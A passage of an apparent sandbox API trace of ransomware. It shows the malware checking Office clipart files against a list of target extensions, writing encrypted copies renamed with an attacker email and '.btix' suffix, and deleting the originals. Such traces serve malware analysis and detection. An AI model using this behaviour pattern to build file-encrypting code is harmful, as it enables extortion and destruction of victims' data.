lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.293] SetEndOfFile (hFile=0x430) returned 1 [0134.294] CloseHandle (hObject=0x430) returned 1 [0134.296] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.296] SetEndOfFile (hFile=0x534) returned 1 [0134.299] CloseHandle (hObject=0x534) returned 1 [0134.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0134.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0134.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0134.311] lstrlenW (lpString=".doc") returned 4 [0134.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.311] lstrlenW (lpString=".docx") returned 5 [0134.311] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.311] lstrlenW (lpString=".pdf") returned 4 [0134.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.311] lstrlenW (lpString=".xls") returned 4 [0134.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.311] lstrlenW (lpString=".xlsx") returned 5 [0134.311] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.311] lstrlenW (lpString=".ppt") returned 4 [0134.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0134.311] lstrlenW (lpString=".zip") returned 4 [0134.311] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.311] lstrlenW (lpString=".rar") returned 4 [0134.311] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.311] lstrlenW (lpString=".bz2") returned 4 [0134.311] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.311] lstrlenW (lpString=".7z") returned 3 [0134.311] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0134.311] lstrlenW (lpString=".dbf") returned 4 [0134.311] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0134.311] lstrlenW (lpString=".1cd") returned 4 [0134.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0134.311] lstrlenW (lpString=".jpg") returned 4 [0134.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0134.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0134.311] lstrlenW (lpString=".doc") returned 4 [0134.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.312] lstrlenW (lpString=".docx") returned 5 [0134.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.312] lstrlenW (lpString=".pdf") returned 4 [0134.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.312] lstrlenW (lpString=".xls") returned 4 [0134.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.312] lstrlenW (lpString=".xlsx") returned 5 [0134.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.312] lstrlenW (lpString=".ppt") returned 4 [0134.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0134.312] lstrlenW (lpString=".zip") returned 4 [0134.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.312] lstrlenW (lpString=".rar") returned 4 [0134.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.312] lstrlenW (lpString=".bz2") returned 4 [0134.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.312] lstrlenW (lpString=".7z") returned 3 [0134.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0134.312] lstrlenW (lpString=".dbf") returned 4 [0134.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0134.312] lstrlenW (lpString=".1cd") returned 4 [0134.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0134.312] lstrlenW (lpString=".jpg") returned 4 [0134.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.321] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.321] lstrlenW (lpString="IN00177_.WMF") returned 12 [0134.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0134.322] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=1074) returned 1 [0134.322] CloseHandle (hObject=0x530) returned 1 [0134.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 0x220 [0134.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0134.322] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.322] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0134.323] GetLastError () returned 0x0 [0134.323] ReadFile (in: hFile=0x530, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x432, lpOverlapped=0x0) returned 1 [0134.516] WriteFile (in: hFile=0x4dc, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x440, lpOverlapped=0x0) returned 1 [0134.517] ReadFile (in: hFile=0x530, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.517] WriteFile (in: hFile=0x4dc, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.517] SetEndOfFile (hFile=0x4dc) returned 1 [0134.518] CloseHandle (hObject=0x4dc) returned 1 [0134.518] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.518] SetEndOfFile (hFile=0x530) returned 1 [0134.520] CloseHandle (hObject=0x530) returned 1 [0134.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0134.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0134.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0134.521] lstrlenW (lpString=".doc") returned 4 [0134.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.521] lstrlenW (lpString=".docx") returned 5 [0134.521] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.521] lstrlenW (lpString=".pdf") returned 4 [0134.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.521] lstrlenW (lpString=".xls") returned 4 [0134.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.521] lstrlenW (lpString=".xlsx") returned 5 [0134.521] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.521] lstrlenW (lpString=".ppt") returned 4 [0134.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0134.521] lstrlenW (lpString=".zip") returned 4 [0134.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.521] lstrlenW (lpString=".rar") returned 4 [0134.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.521] lstrlenW (lpString=".bz2") returned 4 [0134.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.521] lstrlenW (lpString=".7z") returned 3 [0134.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0134.521] lstrlenW (lpString=".dbf") returned 4 [0134.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0134.522] lstrlenW (lpString=".1cd") returned 4 [0134.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0134.522] lstrlenW (lpString=".jpg") returned 4 [0134.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0134.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0134.522] lstrlenW (lpString=".doc") returned 4 [0134.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.522] lstrlenW (lpString=".docx") returned 5 [0134.522] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.522] lstrlenW (lpString=".pdf") returned 4 [0134.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.522] lstrlenW (lpString=".xls") returned 4 [0134.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.522] lstrlenW (lpString=".xlsx") returned 5 [0134.522] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.522] lstrlenW (lpString=".ppt") returned 4 [0134.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0134.522] lstrlenW (lpString=".zip") returned 4 [0134.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.522] lstrlenW (lpString=".rar") returned 4 [0134.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.522] lstrlenW (lpString=".bz2") returned 4 [0134.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.522] lstrlenW (lpString=".7z") returned 3 [0134.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0134.522] lstrlenW (lpString=".dbf") returned 4 [0134.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0134.522] lstrlenW (lpString=".1cd") returned 4 [0134.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0134.523] lstrlenW (lpString=".jpg") returned 4 [0134.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.523] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.523] lstrlenW (lpString="IN00233_.WMF") returned 12 [0134.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0134.523] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11190) returned 1 [0134.523] CloseHandle (hObject=0x530) returned 1 [0134.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 0x220 [0134.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0134.524] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.524] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0134.524] GetLastError () returned 0x0 [0134.524] ReadFile (in: hFile=0x530, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x2bb6, lpOverlapped=0x0) returned 1 [0134.537] WriteFile (in: hFile=0x4dc, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0134.537] ReadFile (in: hFile=0x530, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.537] WriteFile (in: hFile=0x4dc, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.538] SetEndOfFile (hFile=0x4dc) returned 1 [0134.538] CloseHandle (hObject=0x4dc) returned 1 [0134.540] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.540] SetEndOfFile (hFile=0x530) returned 1 [0134.543] CloseHandle (hObject=0x530) returned 1 [0134.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0134.566] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0134.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0134.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0134.567] lstrlenW (lpString=".doc") returned 4 [0134.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.567] lstrlenW (lpString=".docx") returned 5 [0134.567] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.567] lstrlenW (lpString=".pdf") returned 4 [0134.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.567] lstrlenW (lpString=".xls") returned 4 [0134.567] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.567] lstrlenW (lpString=".xlsx") returned 5 [0134.567] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.567] lstrlenW (lpString=".ppt") returned 4 [0134.567] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0134.567] lstrlenW (lpString=".zip") returned 4 [0134.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.567] lstrlenW (lpString=".rar") returned 4 [0134.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.567] lstrlenW (lpString=".bz2") returned 4 [0134.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.567] lstrlenW (lpString=".7z") returned 3 [0134.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0134.567] lstrlenW (lpString=".dbf") returned 4 [0134.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0134.567] lstrlenW (lpString=".1cd") returned 4 [0134.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0134.567] lstrlenW (lpString=".jpg") returned 4 [0134.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0134.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0134.567] lstrlenW (lpString=".doc") returned 4 [0134.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.568] lstrlenW (lpString=".docx") returned 5 [0134.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.568] lstrlenW (lpString=".pdf") returned 4 [0134.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.568] lstrlenW (lpString=".xls") returned 4 [0134.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.568] lstrlenW (lpString=".xlsx") returned 5 [0134.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.568] lstrlenW (lpString=".ppt") returned 4 [0134.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0134.568] lstrlenW (lpString=".zip") returned 4 [0134.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.568] lstrlenW (lpString=".rar") returned 4 [0134.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.568] lstrlenW (lpString=".bz2") returned 4 [0134.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.568] lstrlenW (lpString=".7z") returned 3 [0134.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0134.568] lstrlenW (lpString=".dbf") returned 4 [0134.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0134.568] lstrlenW (lpString=".1cd") returned 4 [0134.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0134.568] lstrlenW (lpString=".jpg") returned 4 [0134.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.568] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0134.568] lstrlenW (lpString="IN00346_.WMF") returned 12 [0134.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0134.569] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=696) returned 1 [0134.569] CloseHandle (hObject=0x530) returned 1 [0134.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 0x220 [0134.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0134.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0134.570] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.570] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0134.570] GetLastError () returned 0x0 [0134.571] ReadFile (in: hFile=0x530, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x2b8, lpOverlapped=0x0) returned 1 [0134.571] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x2c0, lpOverlapped=0x0) returned 1 [0134.572] ReadFile (in: hFile=0x530, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.572] WriteFile (in: hFile=0x4ac, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0134.572] SetEndOfFile (hFile=0x4ac) returned 1 [0134.573] CloseHandle (hObject=0x4ac) returned 1 [0134.573] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.573] SetEndOfFile (hFile=0x530) returned 1 [0134.575] CloseHandle (hObject=0x530) returned 1 [0134.575] SetFileAttributesW 